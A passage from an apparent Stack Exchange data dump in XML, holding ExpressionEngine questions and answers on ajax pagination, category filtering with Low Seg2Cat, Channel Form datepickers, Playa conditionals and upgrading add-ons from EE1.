LastActivityDate="2019-04-09T18:17:24.323" Title="Ajax Pagination" Tags="|pagination|javascript|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30591" PostTypeId="2" ParentId="30582" CreationDate="2015-03-18T16:56:54.993" Score="0" Body="&lt;p&gt;There are a ton of features you can turn on and off in the module control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7ItoT.png&quot; alt=&quot;Channel Videos Control Panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-03-18T16:56:54.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30592" PostTypeId="2" ParentId="30590" CreationDate="2015-03-18T17:01:08.790" Score="3" Body="&lt;p&gt;Honestly, I wouldn't even mess with that plugin since that's what it's supposed to do. Just do a simple ajax call and append the data like this. Note the move of &lt;code&gt;#articles&lt;/code&gt; to the main template, and &lt;code&gt;paginate_base&lt;/code&gt; parameter in the embed template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main Template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;        &amp;lt;section id=&quot;articles&quot;&amp;gt;&#xA;            {embed=&quot;main/embed&quot;}&#xA;        &amp;lt;/section&amp;gt;&#xA;        &amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            $(document).ready(function(){&#xA;                //set the click listener on pagination&#xA;                paginationClickHandler();&#xA;            });&#xA;&#xA;            function paginationClickHandler() {&#xA;                $(&quot;.pagination li a&quot;).click(function(e){&#xA;                    e.preventDefault();&#xA;&#xA;                    //link to the next set of articles&#xA;                    var href = $(this).attr(&quot;href&quot;);&#xA;&#xA;                    //get new articles and pagination&#xA;                    $.get(href, {}, function(data){&#xA;                        //remove existing pagination&#xA;                        $(&quot;.pagination&quot;).remove();&#xA;&#xA;                        //add new articles and pagination links&#xA;                        $(&quot;#articles&quot;).append(data);&#xA;&#xA;                        //disable pagination click listener&#xA;                        $('.pagination li a').off('click');&#xA;&#xA;                        //set new click listener with new pagination links&#xA;                        paginationClickHandler();&#xA;                    });&#xA;                });&#xA;            }&#xA;        &amp;lt;/script&amp;gt;&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Main/Embed Template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;page&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot; paginate_base=&quot;main/embed&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {page_summary}&#xA;        &amp;lt;/article&amp;gt;&#xA;        {paginate}&#xA;            {pagination_links}&#xA;                &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;                    {next_page}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Show More&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/next_page}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {/pagination_links}&#xA;        {/paginate}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastEditorUserId="1539" LastEditDate="2019-04-09T18:17:24.323" LastActivityDate="2019-04-09T18:17:24.323" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30593" PostTypeId="2" ParentId="30589" CreationDate="2015-03-18T17:10:30.120" Score="2" Body="&lt;p&gt;Avoid messing with the ExpressionEngine templates. Try using &lt;a href=&quot;https://github.com/devdemon/freemember&quot; rel=&quot;nofollow&quot;&gt;FreeMember&lt;/a&gt;, it lets you place the registration code in your own templates and pick and choose the fields you want to retrieve from the user. Also, it helps that it's free and easy to use.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-18T17:10:30.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30594" PostTypeId="1" AcceptedAnswerId="30668" CreationDate="2015-03-18T17:28:56.760" Score="2" ViewCount="241" Body="&lt;p&gt;I am having some problem with the Low Seg2Cat extension. I am trying to load all entries for a particular category using the third URI segment. For instance: '/specials/category/europe'. This is the current basic markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;specials&quot; orderby=&quot;date&quot; category_group=&quot;8&quot; category=segment_3_category_id}&#xA;&amp;lt;p&amp;gt;{entry_date format='%j%S %M %Y'}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{specials_excerpt}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, all this outputs at the moment is &lt;em&gt;any&lt;/em&gt; item that has been categorised. For instance, items categorised as 'Europe' or as 'USA'. Uncategorised items do not appear. Moreover, &lt;em&gt;any value&lt;/em&gt; entered into segment 3 returns this same list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using (and have just upgraded to) EE 2.9.2 before developing this page. Low Seg2Cat is in its latest version, 2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6145" LastActivityDate="2015-03-24T18:22:30.403" Title="Categories not filtering with Low Seg2Cat" Tags="|channel-entries|categories|low-seg2cat|category-group|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30595" PostTypeId="2" ParentId="30594" CreationDate="2015-03-18T17:32:58.137" Score="1" Body="&lt;p&gt;You need to surround &lt;code&gt;segment_3_category_id&lt;/code&gt; in parethesis and {}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;{segment_3_category_id}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-18T17:32:58.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30596" PostTypeId="2" ParentId="30589" CreationDate="2015-03-18T19:57:01.500" Score="1" Body="&lt;p&gt;I've never used FreeMember but we're using Zoo Visitor on our site and have separate fields for different users. Zoo Visitor is not free but really well built, has great documentation and support.&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-03-18T19:57:01.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30597" PostTypeId="2" ParentId="30578" CreationDate="2015-03-18T20:23:34.573" Score="1" Body="&lt;p&gt;it's to do with parse order. something is mixed up.Can you try addin a parse=&quot;inward&quot; to the exp:channel:entries or the exp:transcribe:replace tag?&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2015-03-18T20:23:34.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30599" PostTypeId="1" AcceptedAnswerId="30613" CreationDate="2015-03-18T22:22:24.723" Score="0" ViewCount="383" Body="&lt;p&gt;I'm trying to get a Jquery datepicker working with Channel form, but it's only partially working. In my form I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Event Start&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;event_start_date&quot; id=&quot;start_date&quot; value=&quot;&quot; type=&quot;text&quot;&amp;gt;&#xA;&#xA;&amp;lt;label&amp;gt;Event End&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;event_end_date&quot; id=&quot;end_date&quot; type=&quot;text&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my footer I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;        $(&quot;#start_date&quot;).datepicker({&#xA;            numberOfMonths: 2,&#xA;            dateFormat: &quot;dd M yy&quot;,&#xA;            minDate: 0,&#xA;            onSelect: function(dateText, inst) {&#xA;                $(&quot;#end_date&quot;).datepicker(&quot;option&quot;,&quot;minDate&quot;, dateText)&#xA;                var epoch = $.datepicker.formatDate('@', $(this).datepicker('getDate')) / 1000;&#xA;                $('input[name=&quot;event_start_date&quot;]').val(epoch);&#xA;            }&#xA;        });&#xA;        $(&quot;#end_date&quot;).datepicker({ &#xA;            numberOfMonths: 2,&#xA;            dateFormat: &quot;dd M yy&quot;,&#xA;            minDate: 0,&#xA;            onSelect: function(dateText, inst) {&#xA;                $(&quot;#start_date&quot;).datepicker(&quot;option&quot;,&quot;maxDate&quot;, dateText)&#xA;                var epoch = ($.datepicker.formatDate('@', $(this).datepicker('getDate')) / 1000)+(60*60*24);&#xA;                $('input[name=&quot;event_start_date&quot;]').val(epoch);&#xA;            }&#xA;        });  &#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The date picker works fine on another (event search) page, but in Channel Form (event input page) I get a single month instead of two, and selecting a date in the calendar gives me something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-03-05un5efine5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure I had this working on an earlier version of EE with Safecracker.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2017-03-06T10:53:58.803" Title="Jquery datepicker channel form" Tags="|safecracker|jquery|date-format|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30600" PostTypeId="2" ParentId="30587" CreationDate="2015-03-18T22:28:27.763" Score="0" Body="&lt;p&gt;I don't believe there's a way to do what you are asking with a single channel:entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way or another you are going to have to make &lt;em&gt;two&lt;/em&gt; passes through the data. &#xA;Here are some ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;exp:query + channel:entries&lt;/li&gt;&#xA;&lt;li&gt;php + channel:entries&lt;/li&gt;&#xA;&lt;li&gt;channel:entries + embed + channel:entries&lt;/li&gt;&#xA;&lt;li&gt;channel:entries + re-sorting in the results on the client side with&#xA;javascript&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the a working example of the &lt;code&gt;channel:entries + embed + channel:entries&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;template 1:&lt;/strong&gt; (this is the template you call in your browser)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;my_template_group/my_embedded_template&quot;&#xA;my_entry_ids='&#xA;{exp:channel:entries channel=&quot;news_events&quot; limit=&quot;3&quot; disable=&quot;categories|custom_fields|pagination|member_data&quot; backspace=&quot;1&quot;}{entry_id}|{/exp:channel:entries}&#xA;'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we are passing three piped delimited entry_ids as an embed variable to another template called &lt;code&gt;my_template_group/my_embedded_template&lt;/code&gt;.  Note well the single vs double quotes here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;template 2&lt;/strong&gt; (referenced above as &lt;code&gt;my_template_group/my_embedded_template&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;news_events&quot; disable=&quot;categories|custom_fields|pagination|member_data&quot; fixed_order=&quot;{embed:my_entry_ids}&quot; sort=&quot;desc&quot;}&amp;lt;li&amp;gt;{entry_id}:{title}&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we have another &lt;code&gt;channel:entries&lt;/code&gt; call. The key is that we are injecting our entry_ids from the parent template in to the &lt;code&gt;fixed_order&lt;/code&gt; parameter here and then flipping the sort to &lt;code&gt;desc&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="210" LastEditDate="2015-03-18T22:54:24.093" LastActivityDate="2015-03-18T22:54:24.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30606" PostTypeId="2" ParentId="30588" CreationDate="2015-03-19T12:09:47.270" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/30588/redirect-in-add-on-module-redirecting-me-to-admin-control-panel-login-form-with#comment32579_30588&quot;&gt;Brandon&lt;/a&gt; is correct - EE does not like a hash in a redirect URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, try using &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/session.html#flash-data-for-redirects&quot; rel=&quot;nofollow noreferrer&quot;&gt;flash data&lt;/a&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_flashdata('selected-tab', 'settings');&#xA;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect(BASE . AMP . 'C=addons_modules' . AMP . 'M=show_module_cp' . AMP . 'module=module_name_here');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your module code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($tab = ee()-&amp;gt;session-&amp;gt;flashdata('selected-tab') &amp;amp;&amp;amp; $tab == 'settings')&#xA;{&#xA;    // Add something here to your markup so that your JS will select the tab you want&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-03-19T12:09:47.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30607" PostTypeId="1" AcceptedAnswerId="30608" CreationDate="2015-03-19T12:12:00.870" Score="0" ViewCount="76" Body="&lt;p&gt;&lt;strong&gt;Channels and Fields Summary&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Tours&lt;/code&gt; channel - stores a list of all Vacations the site offers&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;tour_specials&lt;/code&gt; field - a Playa field, linked to the &lt;code&gt;Specials&lt;/code&gt; channel indicating which Special Offers apply to this tour&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;tour_show_specials_banner&lt;/code&gt; field - a Switch to determine whether to show a special offer banner against this entry, if the &lt;code&gt;tour_specials&lt;/code&gt; field has any entries&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Specials&lt;/code&gt; channel - list of Special Offers that can apply to multiple tours&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Promotions&lt;/code&gt; channel - stores lists of tours our partners want to promote. Though it sounds similar to Specials, it is distinct from a business perspective.&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;promotion_tours&lt;/code&gt; field - a Playa field that stores multiple &lt;code&gt;tours&lt;/code&gt; channel entries, indicating which tours are linked to a promotion&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Problem&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have created a Promotions page that gets a Promotion, and lists all &lt;code&gt;tours&lt;/code&gt; associated with the promotion from the &lt;code&gt;promotion_tours&lt;/code&gt; Playa field&lt;/li&gt;&#xA;&lt;li&gt;The listing of tours in the Promotion also needs to check whether a tour has a Special Offer running, by looking at the &lt;code&gt;tour_specials&lt;/code&gt; field in the &lt;code&gt;tours&lt;/code&gt; entry to see if any &lt;code&gt;Specials&lt;/code&gt; apply&lt;/li&gt;&#xA;&lt;li&gt;However, all the various code blocks below &lt;strong&gt;WILL NOT&lt;/strong&gt; ever evaluate to true, in the event a tour listed has a Special associated with it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Code&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the master code block that outputs all Playa entries from the &lt;code&gt;promotion_tours&lt;/code&gt; field (all tours associated with the promotion):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{promotion_tours dynamic_parameters=&quot;orderby|sort|limit&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;10&quot; disable=&quot;categories|category_fields|member_data&quot; var_prefix=&quot;promotions&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;    &amp;lt;a href=&quot;{promotions:site_url}/{promotions:url_title}&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{promotions:tour_gallery limit=&quot;1&quot;}{promotions:tour_photo_file:thumbnail}{/promotions:tour_gallery}&quot;/&amp;gt;&#xA;&#xA;        &amp;lt;!-- PROBLEM STARTS HERE --&amp;gt;&#xA;        &amp;lt;!-- If we want to show a Special Offer banner... --&amp;gt;&#xA;        {if promotions:tour_show_specials_banner}&#xA;&#xA;            &amp;lt;!-- Then check if there are any linked Specials --&amp;gt;&#xA;            {if {promotions:tour_specials:total_children} &amp;gt; 0}&#xA;                    &amp;lt;img class=&quot;special-offer-banner&quot; src=&quot;{site_url}images/site/special-offer.png&quot; alt=&quot;Special Offer&quot; title=&quot;Special Offer&quot; /&amp;gt;&#xA;            {/if}&#xA;&#xA;        {/if}&#xA;    &amp;lt;/a&amp;gt;&#xA;&#xA;{/promotion_tours}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using a &lt;code&gt;var_prefix&lt;/code&gt; to allow my Playa entries to be paginated (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14723/playa-pagination-nothing-why&quot;&gt;see here for an explanation&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see where the problem starts is with &lt;code&gt;{if promotions:tour_show_specials_banner}&lt;/code&gt;. That statement NEVER evaluates as TRUE, even when I know it should do. The following situations NEVER output anything:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if promotions:tour_show_specials_banner}&#xA;{if tour_show_specials_banner}&#xA;{if {promotions:tour_show_specials_banner} == &quot;y&quot;}&#xA;{if promotions:tour_show_specials_banner == &quot;y&quot;}&#xA;{if {tour_show_specials_banner} == &quot;y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know some are syntactically incorrect but I'm getting to my wits end here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER, if I just output &lt;code&gt;{promotions:tour_show_specials_banner}&lt;/code&gt; in my HTML, it outputs &lt;code&gt;y&lt;/code&gt; in to the content! Which must evaluate as &lt;code&gt;TRUE&lt;/code&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm seriously stumped. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="742" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-03-19T13:41:01.337" Title="I'm having trouble getting simple IF statements within a Playa tag to evaluate properly" Tags="|playa|variable|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30608" PostTypeId="2" ParentId="30607" CreationDate="2015-03-19T13:41:01.337" Score="2" Body="&lt;p&gt;There are some issues in EE 2.9 with conditionals on prefixed variables and variable modifiers which I don't totally grok. (&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20621/variables-with-modifiers-not-working-in-conditionals-without-braces&quot; rel=&quot;nofollow&quot;&gt;See bug report here for some discussion.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the moral is, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{promotions:tour_show_specials_banner}' == 'y'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-03-19T13:41:01.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30609" PostTypeId="2" ParentId="30579" CreationDate="2015-03-19T13:49:21.380" Score="0" Body="&lt;p&gt;I'd suggest writing a simple extension using the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel_form/index.html#channel-form-submit-entry-start&quot; rel=&quot;nofollow&quot;&gt;channel_form_submit_entry_start&lt;/a&gt; extension hook, then adding your custom field data to &lt;code&gt;$_POST&lt;/code&gt; there.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-03-19T13:49:21.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30610" PostTypeId="1" AcceptedAnswerId="30630" CreationDate="2015-03-19T13:52:55.977" Score="1" ViewCount="69" Body="&lt;p&gt;I'm looking to set up a situation where a user can visit an entry and create a related entry. The original entry will be the parent, the new entry the child.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is the 'related' entry needs to add itself to the parents entry (playa list), so I'll likely need to create a module or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part that has me flummoxed is simply adding the properly formatted inputs to the Channel Data via mySQL etc does not update the playa field &amp;amp; doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, if I open up a channel form (parent entry) and add some hidden inputs – when saved, it correctly updates its playa content. So it's only when saving (Channel form) that both the Channel Data and Playa content gets updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User visits entryA &amp;amp; clicks 'create related entry'&lt;/li&gt;&#xA;&lt;li&gt;url = /create/{entry_id} &amp;lt;- Parent entry ID&lt;/li&gt;&#xA;&lt;li&gt;Saves channel form (No playa data)&lt;/li&gt;&#xA;&lt;li&gt;After it's saved, fire off some 'magic' so it triggers the update to the Parent Entries (entryA) channel data field and also fires an update to the exp_playa table as well - I almost need like an invisible channel form to fire.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you're still reading: I need some guidance on how to achieve something resembling this and everyone gets a cookie :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-03-20T13:21:08.787" Title="Programatically add entryID to another entries playa field" Tags="|playa|relationships|related-entries|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30611" PostTypeId="1" CreationDate="2015-03-19T14:25:14.413" Score="0" ViewCount="50" Body="&lt;p&gt;Upgraded EE 1.7.3 to EE 2.9.2, But on add-ons not updated. On frontend showing error like,&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Unable to load requested field type file:  ft.ftype_id_8.php.&lt;/p&gt;&#xA;&lt;p&gt;Confirm the fieldtype file is located in the&#xA;expressionengine/third_party/ directory&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How can i move all old add-ons like plugins,modules,extensions etc.&lt;/p&gt;&#xA;" OwnerUserId="6127" LastEditorUserId="258" LastEditDate="2021-04-23T19:02:56.950" LastActivityDate="2021-04-23T19:02:56.950" Title="Add-On Issue in Upgrade of EE1 to EE2" Tags="|ee1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30612" PostTypeId="2" ParentId="30611" CreationDate="2015-03-19T14:32:32.617" Score="3" Body="&lt;p&gt;Directly from &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/upgrade_from_1.x.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/installation/upgrade_from_1.x.html&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMPORTANT&#xA;Third-party add-ons from version 1.x will not work with ExpressionEngine 2.&#xA;Please contact each add-on’s author for a 2.x-compatible version before &#xA;upgrading, or your site may not function properly. The installer will &#xA;automatically disable all extensions as part of the upgrade process.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Big, and at the top of the page... you (whomever upgraded) definitely needed to vet which add-ons were in use and which ones had 2.x compatible versions before upgrading. I would highly recommend restoring backups to the original site and starting the process all over, but this time carefully examine all add-ons and find replacements for ones without compatible upgrades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no way to restore the site to previous 1.x functionality, all you can do is spend the time it will take figuring out what add-ons were in use and try to find suitable replacements quickly; the site will likely be broken until then.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-03-19T14:32:32.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30613" PostTypeId="2" ParentId="30599" CreationDate="2015-03-19T16:20:25.600" Score="2" Body="&lt;p&gt;Are you including the jQuery datepicker file manually? Because channel form includes one as well. To disable channel form's datepicker file and initialization, include the &lt;code&gt;include_assets=&quot;no&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-19T16:20:25.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30615" PostTypeId="1" AcceptedAnswerId="30616" CreationDate="2015-03-19T19:17:24.033" Score="0" ViewCount="43" Body="&lt;p&gt;I have a &quot;Job Openings&quot; channel with a relationship field. The field relates to the &quot;Facility&quot; channel. So when a user creates a new job opening entry, they relate the opening to the facility. Now in my template I want to display a list of facilities ONLY IF THEY HAVE JOB OPENINGS, then below the name of the facility, display all job openings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started with a channel entries tag for the facilities. How do I setup the conditional so it detects if there is a parent(job opening), display the facility title, then display all job openings for that facility? I only want the facility name to appear once, with all job openings for that facility below it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I have below is not correct and displays the facility title for every job opening. I'm not sure how to setup the conditional correctly. Any ideas? Thanks for any help! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:entries channel=&quot;facilities&quot; disable=&quot;categories|member_data|category_fields&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;&#xA;            {parents field=&quot;job_facility&quot;}&#xA;               {if parents:count &amp;gt;= &quot;1&quot;}&#xA;               &amp;lt;article class=&quot;job_summary&quot;&amp;gt;&#xA;                   &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                       &amp;lt;h2&amp;gt;Job Opening&amp;lt;/h2&amp;gt;&#xA;                       &amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;h3&amp;gt;{parents:title}&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt;&#xA;               &amp;lt;/article&amp;gt;&#xA;               {/if}&#xA;            {/parents}&#xA;&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;This is what I want...&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Facility 1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;job opening &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Facility 2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;job opening&lt;/li&gt;&#xA;&lt;li&gt;job opening &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Facility 8&#xA;&lt;ul&gt;&#xA;&lt;li&gt;job opening&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;And this is what I'm getting...&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Facility 1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;job opening&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Facility 2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;job opening&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Facility 2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;job opening&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Facility 8&#xA;&lt;ul&gt;&#xA;&lt;li&gt;job opening&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="603" LastActivityDate="2015-03-19T19:29:57.893" Title="using Relationships field, want to display job listings per facility" Tags="|relationships|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
